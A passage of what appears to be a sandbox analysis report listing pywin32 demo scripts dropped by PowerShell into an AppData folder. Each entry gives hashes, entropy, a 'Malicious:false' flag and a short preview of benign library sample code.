              Preview:# A Test Program for pipeTestService.py.#.# Install and start the Pipe Test service, then run this test.# either from the same machine, or from another using the "-s" param..#.# Eg: pipeTestServiceClient.py -s server_name Hi There.# Should work...import os.import sys.import traceback..import pywintypes.import win32api.import winerror.from win32event import *.from win32file import *.from win32pipe import *..verbose = 0..# def ReadFromPipe(pipeName):.# Could (Should?) use CallNamedPipe, but this technique allows variable size.# messages (whereas you must supply a buffer size for CallNamedPipe!.# hPipe = CreateFile(pipeName, GENERIC_WRITE, 0, None, OPEN_EXISTING, FILE_ATTRIBUTE_NORMAL, 0).# more = 1.# while more:.# hr = ReadFile(hPipe, 256).# if hr==0:.# more = 0.# except win32api.error (hr, fn, desc):.# if hr==winerror.ERROR_MORE_DATA:.# data = dat.#...def

              C:\Users\user\AppData\Local\qkxB9Wn8nG\Lib\site-packages\win32\Demos\service\serviceEvents.py

              Download File
              Process:C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
              File Type:Python script, ASCII text executable
              Category:dropped
              Size (bytes):4075
              Entropy (8bit):4.913580202147345
              Encrypted:false
              SSDEEP:
              MD5:1736FD061AD70B0C9452E0EB63E7699E
              SHA1:75BE37D779E98DC848215BF5CA9A34B98071BD39
              SHA-256:5C6BB64EA8E1BF7B7011C6464E90ACB155F3C88AD1EDEEE520DC528571E815C1
              SHA-512:B9058CC59105489A0C6FA86AF15CDD07FC8F765033446CE0649667A62599656CCDA556B7444963812930DB01357DB03F9F8DB6A404D3AB7FED889B9147AB4783
              Malicious:false
              Reputation:unknown
              Preview:# A Demo of a service that takes advantage of the additional notifications.# available in later Windows versions...# Note that all output is written as event log entries - so you must install.# and start the service, then look at the event log for messages as events.# are generated...# Events are generated for USB device insertion and removal, power state.# changes and hardware profile events - so try putting your computer to.# sleep and waking it, inserting a memory stick, etc then check the event log..# Most event notification support lives around win32gui.import servicemanager.import win32con.import win32event.import win32gui.import win32gui_struct.import win32service.import win32serviceutil..GUID_DEVINTERFACE_USB_DEVICE = "{A5DCBF10-6530-11D2-901F-00C04FB951ED}"...class EventDemoService(win32serviceutil.ServiceFramework):. _svc_name_ = "PyServiceEventDemo". _svc_display_name_ = "Python Service Event Demo". _svc_description_ = (. "Demonstrates a Python service which

              C:\Users\user\AppData\Local\qkxB9Wn8nG\Lib\site-packages\win32\Demos\timer_demo.py

              Download File
              Process:C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
              File Type:Python script, ASCII text executable
              Category:dropped
              Size (bytes):2193
              Entropy (8bit):4.521126122680342
              Encrypted:false
              SSDEEP:
              MD5:CD4A7FC5E4FD347037BB7256850B9B56
              SHA1:2CE36FC7871F79810038D810613F5A4D796D17CA
              SHA-256:9628F439FEABE60861DC4EDF838164A81500628FD70D9A43444B08CF50F55CDB
              SHA-512:D82B58C53C992430214909CF7F0E4F74BA711E76578A54457AFC805C11B591286FFFEB58EDE69A04E0A6F8063631E9062A234019E32A1828F9CDC8363AB6556B
              Malicious:false
              Reputation:unknown
              Preview:# -*- Mode: Python; tab-width: 4 -*-.#..# This module, and the timer.pyd core timer support, were written by.# Sam Rushing (rushing@nightmare.com)..import time..# Timers are based on Windows messages. So we need.# to do the event-loop thing!.import timer.import win32event.import win32gui..# glork holds a simple counter for us....class glork:. def __init__(self, delay=1000, max=10):. self.x = 0. self.max = max. self.id = timer.set_timer(delay, self.increment). # Could use the threading module, but this is. # a win32 extension test after all! :-). self.event = win32event.CreateEvent(None, 0, 0, None).. def increment(self, id, time):. print("x = %d" % self.x). self.x = self.x + 1. # if we've reached the max count,. # kill off the timer.. if self.x > self.max:. # we could have used 'self.id' here, too. timer.kill_timer(id). win32event.SetEvent(self.event)...# create a counte

              C:\Users\user\AppData\Local\qkxB9Wn8nG\Lib\site-packages\win32\Demos\win32clipboardDemo.py

              Download File
              Process:C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
              File Type:Python script, ASCII text executable
              Category:dropped
              Size (bytes):4666
              Entropy (8bit):4.668774222762782
              Encrypted:false
              SSDEEP:
              MD5:DB58629AA113EDAC46DE260EBFBAD2BE
              SHA1:3C51C981260093C562341E841C532C315F333C8C
              SHA-256:D8492408E4957D3AA6C2F828E516537A5001890243BDF1F07570D22EA070CEDF
              SHA-512:FEB1C5F901E6E6CF1E1C5E0F98C5FC545EF2590CB3406C34CF2A774A46002571E5C1C6A36A3F5A0D544BB594333776653B1E8C6CF1B12AF9BFB6C805CF8295CA
              Malicious:false
              Reputation:unknown
              Preview:# win32clipboardDemo.py.#.# Demo/test of the win32clipboard module...import win32con.from pywin32_testutil import str2bytes # py3k-friendly helper.from win32clipboard import *..if not __debug__:. print("WARNING: The test code in this module uses assert"). print("This instance of Python has asserts disabled, so many tests will be skipped")..cf_names = {}.# Build map of CF_* constants to names..for name, val in list(win32con.__dict__.items()):. if name[:3] == "CF_" and name != "CF_SCREENFONTS": # CF_SCREEN_FONTS==CF_TEXT!?!?. cf_names[val] = name...def TestEmptyClipboard():. OpenClipboard(). try:. EmptyClipboard(). assert (. EnumClipboardFormats(0) == 0. ), "Clipboard formats were available after emptying it!". finally:. CloseClipboard()...def TestText():. OpenClipboard(). try:. text = "Hello from Python". text_bytes = str2bytes(text). SetClipboardText(text). got = GetClipboardData(win32co

              C:\Users\user\AppData\Local\qkxB9Wn8nG\Lib\site-packages\win32\Demos\win32clipboard_bitmapdemo.py

              Download File
              Process:C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
              File Type:Python script, ASCII text executable
              Category:dropped
              Size (bytes):3905
              Entropy (8bit):4.396194918375346
              Encrypted:false
              SSDEEP:
              MD5:258A699983426F66EB6440D4B1E0D34E
              SHA1:026B32F8A76C1B6F955EAB426AE3597ED4FCDF09
              SHA-256:905279066C8F55C7BC6376D4B583918BB5CEE1547E37B8328245112EA1155C1B
              SHA-512:F3DC2BC0EEBA1B3812AA9BF7FB16D2F882FE252E718219C88628E0BE10247156733A09F6928C9044760A0492906E490A286FC1084CCAD5BF0ABC09B37E491E8B
              Malicious:false
              Reputation:unknown
              Preview:import win32api.import win32clipboard.import win32con.import win32gui...class ViewerWindow:. def __init__(self):. self.hwndNextViewer = None.. def OnPaint(self, hwnd, msg, wp, lp):. dc, ps = win32gui.BeginPaint(hwnd). wndrect = win32gui.GetClientRect(hwnd). wndwidth = wndrect[2] - wndrect[0]. wndheight = wndrect[3] - wndrect[1]. win32clipboard.OpenClipboard(). try:. try:. hbitmap = win32clipboard.GetClipboardData(win32clipboard.CF_BITMAP). except TypeError:. font = win32gui.LOGFONT(). font.lfHeight = 15 # int(wndheight/20). font.lfWidth = 15 # font.lfHeight. # font.lfWeight=150. hf = win32gui.CreateFontIndirect(font). win32gui.SelectObject(dc, hf). win32gui.SetBkMode(dc, win32con.TRANSPARENT). win32gui.SetTextColor(dc, win32api.RGB(0, 0, 0)). win32gu

              C:\Users\user\AppData\Local\qkxB9Wn8nG\Lib\site-packages\win32\Demos\win32comport_demo.py

              Download File
              Process:C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
              File Type:Python script, ASCII text executable
              Category:dropped
              Size (bytes):5536
              Entropy (8bit):4.562610287492588
              Encrypted:false
              SSDEEP:
              MD5:3A3B78735045BCDA323C1454A8A6524F
              SHA1:2E9A0AB51D615E7717C8ED3A51A8AA24D3975F5C
              SHA-256:5E8F4A7A26DF3EECFABAF58DF88E291C1A90EC87DCB40C51123E006832C82D89
              SHA-512:235B679DCE556F5F9CCBDF995EDDCC43019098284B9D8342CA1940F6BBBEE658148AD519B3E29BF70490E1B3521242F5CC1BD03B977F4D760FF89A1EFFE0E0A6
              Malicious:false
              Reputation:unknown
              Preview:# This is a simple serial port terminal demo..#.# Its primary purpose is to demonstrate the native serial port access offered via.# win32file...# It uses 3 threads:.# - The main thread, which cranks up the other 2 threads, then simply waits for them to exit..# - The user-input thread - blocks waiting for a keyboard character, and when found sends it.# out the COM port. If the character is Ctrl+C, it stops, signalling the COM port thread to stop..# - The COM port thread is simply listening for input on the COM port, and prints it to the screen...# This demo uses userlapped IO, so that none of the read or write operations actually block (however,.# in this sample, the very next thing we do _is_ block - so it shows off the concepts even though it.# doesnt exploit them...import msvcrt # For the getch() function..import sys.import threading..import win32con # constants..from win32event import * # We use events and the WaitFor[Multiple]Objects functions..from win32file import * # The

              C:\Users\user\AppData\Local\qkxB9Wn8nG\Lib\site-packages\win32\Demos\win32console_demo.py

              Download File
              Process:C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
              File Type:Python script, ASCII text executable
              Category:dropped
              Size (bytes):5109
              Entropy (8bit):4.7421972636330745
              Encrypted:false
              SSDEEP:
              MD5:867D26ABCB67E383F5648184D67E050B
              SHA1:B7030E5399DA5BD59F903CB050D8812346C4BEAB
              SHA-256:5361F5BF72F2598DCB4D505A1C74D969A12A96EF80FA14F00AB8E1FD63AF2152
              SHA-512:A8BD3C68FF367C9036A8A20A15465E3404A646F5639D8AE30E14335C72C511E008816A0325FE40C4FC37A662FC6B894AFFBC01AC248FF98A482056A8CF53CFC2
              Malicious:false
              Reputation:unknown
              Preview:import time..import win32con.import win32console..virtual_keys = {}.for k, v in list(win32con.__dict__.items()):. if k.startswith("VK_"):. virtual_keys[v] = k..free_console = True.try:. win32console.AllocConsole().except win32console.error as exc:. if exc.winerror != 5:. raise. ## only free console if one was created successfully. free_console = False..stdout = win32console.GetStdHandle(win32console.STD_OUTPUT_HANDLE).stdin = win32console.GetStdHandle(win32console.STD_INPUT_HANDLE).newbuffer = win32console.CreateConsoleScreenBuffer().newbuffer.SetConsoleActiveScreenBuffer().newbuffer.SetConsoleTextAttribute(. win32console.FOREGROUND_RED. | win32console.FOREGROUND_INTENSITY. | win32console.BACKGROUND_GREEN. | win32console.BACKGROUND_INTENSITY.).newbuffer.WriteConsole("This is a new screen buffer\n")..## test setting screen buffer and window size.## screen buffer size cannot be smaller than window size.window_size = newbuffer.GetConsoleScreenBuffe

              C:\Users\user\AppData\Local\qkxB9Wn8nG\Lib\site-packages\win32\Demos\win32cred_demo.py

              Download File
              Process:C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
              File Type:Python script, ASCII text executable
              Category:dropped
              Size (bytes):2747
              Entropy (8bit):5.085452982327908
              Encrypted:false
              SSDEEP:
              MD5:B2DD13257D87B2D861BAD12F9BE7D17B
              SHA1:B48DFABE4E44059CF9DDB076382928CA891189D3
              SHA-256:E68685BDC90CC014E4AA3BA4F6FC988E945F576A35DEB2BFFD1C69B06C30F7F8
              SHA-512:3A59D0B5DCBFB5C325338B5BFD398E2E289805D2B2C3B43DE7DD2951D1A1444C032CDE2EA2F962B01EC93BB49279064269DF07BCA24DEF9160418C2E0A5852E8
              Malicious:false
              Reputation:unknown
              Preview:""".Demonstrates prompting for credentials, saving, and loggging on with marshalled credential..Also shows how to load user's profile."""..import win32api.import win32con.import win32cred.import win32net.import win32profile.import win32security..## Prompt for a username/pwd for local computer.uiinfo = {. "MessageText": "Enter credentials for local machine",. "CaptionText": "win32cred_demo.py",.}.target, pwd, save = win32cred.CredUIPromptForCredentials(. TargetName=win32api.GetComputerName(),. AuthError=0,. Flags=win32cred.CREDUI_FLAGS_DO_NOT_PERSIST. | win32cred.CREDUI_FLAGS_SHOW_SAVE_CHECK_BOX,. Save=False,. UiInfo=uiinfo,.)..attrs = [. {"Keyword": "attr1", "Flags": 0, "Value": "unicode data"},. {"Keyword": "attr2", "Flags": 0, "Value": b"character data"},.].cred = {. "Comment": "Created by win32cred_demo.py",. "UserName": target,. "TargetAlias": None,. "TargetName": target,. "CredentialBlob": pwd,. "Flags": win32cred.CRED_FLAGS_USERNAME

              C:\Users\user\AppData\Local\qkxB9Wn8nG\Lib\site-packages\win32\Demos\win32fileDemo.py

              Download File
              Process:C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
              File Type:Python script, ASCII text executable
              Category:dropped
              Size (bytes):1381
              Entropy (8bit):4.808237224456068
              Encrypted:false
              SSDEEP:
              MD5:E7B5B82C93BC5D6291AE5E98FEFE6773
              SHA1:277255439133F6941FCB2BEBEBFFC3020AB9DEBA
              SHA-256:4D203DB1FC60406DAAD07C19BDFA3F52A71B7D16E25BA0D56CCCD2818497AD87
              SHA-512:6C0BE979ED9D3B394244679413F7C5EDAD3D4309417B5E1AD82273AE2E2668BBE05407298BBD3A9BEEC85D6A7B3F3D92DDE37009E86588CD7CEF37E17EC56816
              Malicious:false
              Reputation:unknown
              Preview:# This is a "demo" of win32file - it used to be more a test case than a.# demo, so has been moved to the test directory...import os..# Please contribute your favourite simple little demo..import win32api.import win32con.import win32file...# A very simple demo - note that this does no more than you can do with.# builtin Python file objects, so for something as simple as this, you.# generally *should* use builtin Python objects. Only use win32file etc.# when you need win32 specific features not available in Python..def SimpleFileDemo():. testName = os.path.join(win32api.GetTempPath(), "win32file_demo_test_file"). if os.path.exists(testName):. os.unlink(testName). # Open the file for writing.. handle = win32file.CreateFile(. testName, win32file.GENERIC_WRITE, 0, None, win32con.CREATE_NEW, 0, None. ). test_data = "Hello\0there".encode("ascii"). win32file.WriteFile(handle, test_data). handle.Close(). # Open it for reading.. handle = win32file.Cre

              C:\Users\user\AppData\Local\qkxB9Wn8nG\Lib\site-packages\win32\Demos\win32gui_demo.py

              Download File
              Process:C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
              File Type:Python script, ASCII text executable
              Category:dropped
              Size (bytes):5028
              Entropy (8bit):4.86015472894631
              Encrypted:false
              SSDEEP:
              MD5:B8AB179A28507872DFD508DF57A317E7
              SHA1:CB997291BEBC67B828994AEDED8944D25CF66445
              SHA-256:4619866C59EEF14BDB582B8A48CC18CCD75E67C2F64913C805B5A3C930BB2C4B
              SHA-512:21008AA2DD1695D584694C0E5D59DF0A341DA592D12FCD44F70F754F22D999BEA2A96B5AE735724EC21A9BC72E20DF7EE31824D2101F8036BF66396BAF3AA9C5
              Malicious:false
              Reputation:unknown
              Preview:# The start of a win32gui generic demo..# Feel free to contribute more demos back ;-)..import math.import random.import time..import win32api.import win32con.import win32gui...def _MyCallback(hwnd, extra):. hwnds, classes = extra. hwnds.append(hwnd). classes[win32gui.GetClassName(hwnd)] = 1...def TestEnumWindows():. windows = []. classes = {}. win32gui.EnumWindows(_MyCallback, (windows, classes)). print(. "Enumerated a total of %d windows with %d classes". % (len(windows), len(classes)). ). if "tooltips_class32" not in classes:. print("Hrmmmm - I'm very surprised to not find a 'tooltips_class32' class.")...def OnPaint_1(hwnd, msg, wp, lp):. dc, ps = win32gui.BeginPaint(hwnd). win32gui.SetGraphicsMode(dc, win32con.GM_ADVANCED). br = win32gui.CreateSolidBrush(win32api.RGB(255, 0, 0)). win32gui.SelectObject(dc, br). angle = win32gui.GetWindowLong(hwnd, win32con.GWL_USERDATA). win32gui.SetWindowLong(hwnd, win32con.GWL_USERDA

              C:\Users\user\AppData\Local\qkxB9Wn8nG\Lib\site-packages\win32\Demos\win32gui_devicenotify.py

              Download File
              Process:C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
              File Type:Python script, ASCII text executable
              Category:dropped
              Size (bytes):3829
              Entropy (8bit):5.010125673110548
              Encrypted:false
              SSDEEP:
              MD5:F78AB5C17E8D69884B433067B37A478A
              SHA1:F390AF6B0116C94F3C837C54437109D91A4E3074
              SHA-256:3D09EAC656558AB7799B73B83AF3F3CA14756296B93269CE6DD9A20EBAC61E95
              SHA-512:ED028D0514998FD26BCEE418234872A82014506EBE494F782D6AA094F59E7D1894004EB463373DCA9E0349C5E3FD79E2EB52AA9669D4943C3058333C9A7FD9C8
              Malicious:false
              Reputation:unknown
              Preview:# Demo RegisterDeviceNotification etc. Creates a hidden window to receive.# notifications. See serviceEvents.py for an example of a service doing.# that..import sys.import time..import win32api.import win32con.import win32file.import win32gui.import win32gui_struct.import winnt..# These device GUIDs are from Ioevent.h in the Windows SDK. Ideally they.# could be collected somewhere for pywin32....GUID_DEVINTERFACE_USB_DEVICE = "{A5DCBF10-6530-11D2-901F-00C04FB951ED}"...# WM_DEVICECHANGE message handler..def OnDeviceChange(hwnd, msg, wp, lp):. # Unpack the 'lp' into the appropriate DEV_BROADCAST_* structure,. # using the self-identifying data inside the DEV_BROADCAST_HDR.. info = win32gui_struct.UnpackDEV_BROADCAST(lp). print("Device change notification:", wp, str(info)). if (. wp == win32con.DBT_DEVICEQUERYREMOVE. and info.devicetype == win32con.DBT_DEVTYP_HANDLE. ):. # Our handle is stored away in the structure - just close it. print("De

              C:\Users\user\AppData\Local\qkxB9Wn8nG\Lib\site-packages\win32\Demos\win32gui_dialog.py

              Download File
              Process:C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
              File Type:Python script, ASCII text executable
              Category:dropped
              Size (bytes):15720
              Entropy (8bit):4.774516514388496
              Encrypted:false
              SSDEEP:
              MD5:7FE3A04708C7BFC598956C5E83EF9031
              SHA1:1A01D40A3DFAD3D6B8B14570CCCB92B7DBAE4F20
              SHA-256:95D3AC68ED6E7E5770E33AF40A1A6FD2A805EE9223D53624ED42FD6AEDAE0FAA
              SHA-512:6241EDA928BF49A34049818555A4F9897ADFA894612B1285463FC28DEC0A2AD387051DB02E002109AB8A675C1F7287E1908F67D1213F2F438CC5CEB190E507F7
              Malicious:false
              Reputation:unknown
              Preview:# A demo of a fairly complex dialog..#.# Features:.# * Uses a "dynamic dialog resource" to build the dialog..# * Uses a ListView control..# * Dynamically resizes content..# * Uses a second worker thread to fill the list..# * Demostrates support for windows XP themes...# If you are on Windows XP, and specify a '--noxp' argument, you will see:.# * alpha-blend issues with icons.# * The buttons are "old" style, rather than based on the XP theme..# Hence, using:.# import winxpgui as win32gui.# is recommended..# Please report any problems..import sys..if "--noxp" in sys.argv:. import win32gui.else:. import winxpgui as win32gui..import array.import os.import queue.import struct..import commctrl.import win32api.import win32con.import win32gui_struct.import winerror..IDC_SEARCHTEXT = 1024.IDC_BUTTON_SEARCH = 1025.IDC_BUTTON_DISPLAY = 1026.IDC_LISTBOX = 1027..WM_SEARCH_RESULT = win32con.WM_USER + 512.WM_SEARCH_FINISHED = win32con.WM_USER + 513...class _WIN32MASKEDSTRUCT:. def __init__

              C:\Users\user\AppData\Local\qkxB9Wn8nG\Lib\site-packages\win32\Demos\win32gui_menu.py

              Download File
              Process:C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
              File Type:Python script, ASCII text executable
              Category:dropped
              Size (bytes):16112
              Entropy (8bit):4.611080780743955
              Encrypted:false
              SSDEEP:
              MD5:2DD553D7A4EB19590D28DB62428B4D46
              SHA1:B391B8AFAE0A41869680637C0C2D549787B2A244
              SHA-256:6F6DF0AEDB7AE4CC0DA6A063CBB8A94A1333A0650B0DD016B20CCE37C9BAA7D8
              SHA-512:675A5D0192ED09F1FB8882BFEEAC907B75B0F61E53B1B0BE11B8E502BD417966AC79858706B32B088BA668B8BCE2B6CCFB0D70497291A6C67F7D4CCB2BB2C306
              Malicious:false
              Reputation:unknown
              Preview:# Demonstrates some advanced menu concepts using win32gui..# This creates a taskbar icon which has some fancy menus (but note that.# selecting the menu items does nothing useful - see win32gui_taskbar.py.# for examples of this...# NOTE: This is a work in progress. Todo:.# * The "Checked" menu items don't work correctly - I'm not sure why..# * No support for GetMenuItemInfo...# Based on Andy McKay's demo code..from win32api import *..# Try and use XP features, so we get alpha-blending etc..try:. from winxpgui import *.except ImportError:. from win32gui import *..import array.import os.import struct.import sys..import win32con.from win32gui_struct import *..this_dir = os.path.split(sys.argv[0])[0]...class MainWindow:. def __init__(self):. message_map = {. win32con.WM_DESTROY: self.OnDestroy,. win32con.WM_COMMAND: self.OnCommand,. win32con.WM_USER + 20: self.OnTaskbarNotify,. # owner-draw related handlers.. win32con.W

              C:\Users\user\AppData\Local\qkxB9Wn8nG\Lib\site-packages\win32\Demos\win32gui_taskbar.py

              Download File
              Process:C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
              File Type:Python script, ASCII text executable
              Category:dropped
              Size (bytes):5206
              Entropy (8bit):4.754958557193041
              Encrypted:false
              SSDEEP:
              MD5:BD7764F8D17FFCA4629B558458642734
              SHA1:AD2FFDCE97F8A154C6809CA6EA9376CE5DAEBFB3
              SHA-256:3203AB7E1D178EFBFA1AB964B3A010884E6BD86720DD0F55A6DC9D1243F49F5E
              SHA-512:BFF7B59948A1D044CBB311728C95F58E28EE3E177164650BEAE232DB100E3898BA82B538852A139A2621ADB48F2BF0754332B3B506AE5E9A801A04141971EF53
              Malicious:false
              Reputation:unknown
              Preview:# Creates a task-bar icon. Run from Python.exe to see the.# messages printed..import os.import sys..import win32api.import win32con.import win32gui.import winerror...class MainWindow:. def __init__(self):. msg_TaskbarRestart = win32gui.RegisterWindowMessage("TaskbarCreated"). message_map = {. msg_TaskbarRestart: self.OnRestart,. win32con.WM_DESTROY: self.OnDestroy,. win32con.WM_COMMAND: self.OnCommand,. win32con.WM_USER + 20: self.OnTaskbarNotify,. }. # Register the Window class.. wc = win32gui.WNDCLASS(). hinst = wc.hInstance = win32api.GetModuleHandle(None). wc.lpszClassName = "PythonTaskbarDemo". wc.style = win32con.CS_VREDRAW | win32con.CS_HREDRAW. wc.hCursor = win32api.LoadCursor(0, win32con.IDC_ARROW). wc.hbrBackground = win32con.COLOR_WINDOW. wc.lpfnWndProc = message_map # could also specify a wndproc... # Don't blow up if class already registered

              C:\Users\user\AppData\Local\qkxB9Wn8nG\Lib\site-packages\win32\Demos\win32netdemo.py

              Download File
              Process:C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
              File Type:Python script text executable Python script, ASCII text executable
              Category:dropped
              Size (bytes):8984
              Entropy (8bit):4.399025941579387
              Encrypted:false
              SSDEEP:
              MD5:380BD910ADE57D5EED72B6D8CE27AF8C
              SHA1:AF570E6EACEC750D47905AD0ED08A3BFC3B916A5
              SHA-256:04E8DC68E6C79B52F87B0AB5A1F4112AB57BFFCFB4C57D3D2D645623C23D665B
              SHA-512:93C47071AAF180C5F4E0A6BF9BF581F7EE8593F23933450C0A06D60DEC3DB03974EE9472AD3E2899975336633BAC4A69698B91BB8A22CE2701A3D7E02460A802
              Malicious:false
              Reputation:unknown
              Preview:import getopt.import sys.import traceback..import win32api.import win32net.import win32netcon.import win32security..verbose_level = 0..server = None # Run on local machine....def verbose(msg):. if verbose_level:. print(msg)...def CreateUser():. "Creates a new test user, then deletes the user". testName = "PyNetTestUser". try:. win32net.NetUserDel(server, testName). print("Warning - deleted user before creating it!"). except win32net.error:. pass.. d = {}. d["name"] = testName. d["password"] = "deleteme". d["priv"] = win32netcon.USER_PRIV_USER. d["comment"] = "Delete me - created by Python test code". d["flags"] = win32netcon.UF_NORMAL_ACCOUNT | win32netcon.UF_SCRIPT. win32net.NetUserAdd(server, 1, d). try:. try:. win32net.NetUserChangePassword(server, testName, "wrong", "new"). print("ERROR: NetUserChangePassword worked with a wrong password!"). except win32net.error:. pas

              C:\Users\user\AppData\Local\qkxB9Wn8nG\Lib\site-packages\win32\Demos\win32rcparser_demo.py

              Download File
              Process:C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
              File Type:Python script, ASCII text executable
              Category:dropped
              Size (bytes):2809
              Entropy (8bit):4.910903276980213
              Encrypted:false
              SSDEEP:
              MD5:CD8D88B9E04BD140A2CE1C48E899A250
              SHA1:7AE9354E81A559AE2C28E624BF2419CE12F6933D
              SHA-256:70D08CC0A5E47530DA0E45F975264B795A8473B6A2646593041F527DC2661CA0
              SHA-512:6E1E5EB57AF9AD39B51B01EC6CD0A923615B80C5D5D4490792057B3C551050B16C8584196B058E6DB48616F195552332534DD758AA5D99E062C8919D2379652C
              Malicious:false
              Reputation:unknown
              Preview:# A demo of the win32rcparser module and using win32gui..import os..import commctrl.import win32api.import win32con.import win32gui.import win32rcparser..this_dir = os.path.abspath(os.path.dirname(__file__)).g_rcname = os.path.abspath(. os.path.join(this_dir, "..", "test", "win32rcparser", "test.rc").)..if not os.path.isfile(g_rcname):. raise RuntimeError("Can't locate test.rc (should be at '%s')" % (g_rcname,))...class DemoWindow:. def __init__(self, dlg_template):. self.dlg_template = dlg_template.. def CreateWindow(self):. self._DoCreate(win32gui.CreateDialogIndirect).. def DoModal(self):. return self._DoCreate(win32gui.DialogBoxIndirect).. def _DoCreate(self, fn):. message_map = {. win32con.WM_INITDIALOG: self.OnInitDialog,. win32con.WM_CLOSE: self.OnClose,. win32con.WM_DESTROY: self.OnDestroy,. win32con.WM_COMMAND: self.OnCommand,. }. return fn(0, self.dlg_template, 0, message_m

              C:\Users\user\AppData\Local\qkxB9Wn8nG\Lib\site-packages\win32\Demos\win32servicedemo.py

              Download File
              Process:C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
              File Type:Python script, ASCII text executable
              Category:dropped
              Size (bytes):579
              Entropy (8bit):4.864055610075746
              Encrypted:false
              SSDEEP:
              MD5:EE907338D6390DF677EB03E8B8EC1086
              SHA1:E374C563078378EC5C4F69797569ACBFFEB0D51B
              SHA-256:8B4ED673B62CF16AE39C308739A39C3B14BB3B567E85CE59224451041D0F5EEC
              SHA-512:48D03393639F46EFAFAA42A22430AD9056D35C943FDD84C235A37C0774C95DB26CD5F07E0582753DC051E81AC56744980A7260DE8BBCCE7A0B3327CAC2BA9412
              Malicious:false
              Reputation:unknown
              Preview:import win32con.import win32service...def EnumServices():. resume = 0. accessSCM = win32con.GENERIC_READ. accessSrv = win32service.SC_MANAGER_ALL_ACCESS.. # Open Service Control Manager. hscm = win32service.OpenSCManager(None, None, accessSCM).. # Enumerate Service Control Manager DB.. typeFilter = win32service.SERVICE_WIN32. stateFilter = win32service.SERVICE_STATE_ALL.. statuses = win32service.EnumServicesStatus(hscm, typeFilter, stateFilter). for short_name, desc, status in statuses:. print(short_name, desc, status)...EnumServices().

              C:\Users\user\AppData\Local\qkxB9Wn8nG\Lib\site-packages\win32\Demos\win32ts_logoff_disconnected.py

              Download File
              Process:C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
              File Type:Python script, ASCII text executable
              Category:dropped
              Size (bytes):982
              Entropy (8bit):4.754642610339019
              Encrypted:false
              SSDEEP:
              MD5:0C05782F9271A7CC8A5C02ECC2038C5C
              SHA1:2939D4168D724A07F9B9DDCFF507A33F208FE2A1
              SHA-256:28E8F3FAF3572494B50DB3B26A200F7A8589AC135CA8A8661AC3FCA999CC2A00
              SHA-512:84CA26CD7A55D2427C96400B90E2C781786C68396A7E240CA7A2F212894CB44B12F4BBDC4F57B9772628A7C204AD6F2039B1D22D4DE867DB3C3ED4C941275912
              Malicious:false
              Reputation:unknown
              Preview:""" Finds any disconnected terminal service sessions and logs them off""".import pywintypes.import win32ts.import winerror..sessions = win32ts.WTSEnumerateSessions(win32ts.WTS_CURRENT_SERVER_HANDLE).for session in sessions:. """. WTS_CONNECTSTATE_CLASS: WTSActive,WTSConnected,WTSConnectQuery,WTSShadow,WTSDisconnected,. WTSIdle,WTSListen,WTSReset,WTSDown,WTSInit. """. if session["State"] == win32ts.WTSDisconnected:. sessionid = session["SessionId"]. username = win32ts.WTSQuerySessionInformation(. win32ts.WTS_CURRENT_SERVER_HANDLE, sessionid, win32ts.WTSUserName. ). print("Logging off disconnected user:", username). try:. win32ts.WTSLogoffSession(win32ts.WTS_CURRENT_SERVER_HANDLE, sessionid, True). except pywintypes.error as e:. if e.winerror == winerror.ERROR_ACCESS_DENIED:. print("Can't kill that session:", e.strerror). else:. raise.

              C:\Users\user\AppData\Local\qkxB9Wn8nG\Lib\site-packages\win32\Demos\win32wnet\testwnet.py

              Download File
              Process:C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
              File Type:Python script text executable Python script, ASCII text executable
              Category:dropped
              Size (bytes):4317
              Entropy (8bit):4.4834970191394135
              Encrypted:false
              SSDEEP:
              MD5:FA8C4B2B1B0237E97E3633E46B2CB01C
              SHA1:43061EC48EF63A4A826CAF08ADD75B7E400143DD
              SHA-256:CAFB4C3B818FD035E620B4B78EE052637B72964CF4B307EED50439C85DDB764D
              SHA-512:EF119E7443E3D6A48922496109B92D0F82283BFF78957BFAF7693FB723E885CA85F8582E8AAA02A77346A10884B241AFEBCCD08BA5E89565936953062DBBAA35
              Malicious:false
              Reputation:unknown
              Preview:import os..import win32api.import win32wnet.from winnetwk import *..possible_shares = []...def _doDumpHandle(handle, level=0):. indent = " " * level. while 1:. items = win32wnet.WNetEnumResource(handle, 0). if len(items) == 0:. break. for item in items:. try:. if item.dwDisplayType == RESOURCEDISPLAYTYPE_SHARE:. print(indent + "Have share with name:", item.lpRemoteName). possible_shares.append(item). elif item.dwDisplayType == RESOURCEDISPLAYTYPE_GENERIC:. print(. indent + "Have generic resource with name:", item.lpRemoteName. ). else:. # Try generic!. print(indent + "Enumerating " + item.lpRemoteName, end=" "). k = win32wnet.WNetOpenEnum(. RESOURCE_GLOBALNET, RESOURCETYPE_ANY, 0, item. ).

              C:\Users\user\AppData\Local\qkxB9Wn8nG\Lib\site-packages\win32\Demos\win32wnet\winnetwk.py

              Download File
              Process:C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
              File Type:ASCII text
              Category:dropped
              Size (bytes):3193
              Entropy (8bit):4.412241136607424
              Encrypted:false
              SSDEEP:
              MD5:852EC0289B940F026C47130C5914B881
              SHA1:C6CA600BFD5F20D0252C945DB821AA00D4C8E8E2
              SHA-256:7C6EB6F55940269610519A1B40FAC617905022F76907D252E0229AACA2A02794
              SHA-512:DD654998EEB22ACB9D1BA3A6F141116959071BDC42F87C471997C66CC83567E3F2E7B0B956922E10B8E94A49162336AD07A2624239901343D2429EB330DE5670
              Malicious:false
